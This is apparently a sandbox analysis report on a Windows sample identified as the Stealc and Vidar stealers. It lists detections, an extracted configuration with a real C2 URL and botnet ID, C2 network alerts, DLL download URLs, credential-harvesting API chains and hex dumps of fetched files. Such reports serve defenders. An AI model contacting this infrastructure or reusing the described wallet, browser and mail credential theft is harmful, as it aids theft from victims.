Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541053
MD5:	e13d89812ee808b7637fe554797b759b
SHA1:	d392ee05ccd8da3985594fc8deb0ecdd5a23e8fb
SHA256:	2fe1592ed1c0bd162f4de4abb3a023ed7eac5426acf02b5df89ae163449d7c5f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1968 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E13D89812EE808B7637FE554797B759B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2086620561.0000000004B60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1968	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1968	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1968	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1968	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.320000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:15.195401+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:15.187164+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:15.475669+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:16.865712+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:15.735092+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:14.880631+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:02:17.516777+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:25.931362+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:27.708681+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:28.758110+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:30.038895+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:31.753099+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:32.489738+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.320000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.320000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00329B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00329B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0032C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00327240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00327240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00329AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00329AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00338EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00338EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00334910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00334910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0032DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0032E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0032BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0032F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00333EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00333EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0032ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00334570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00334570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0032DE10

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 09:02:17 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 09:02:25 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 09:02:27 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 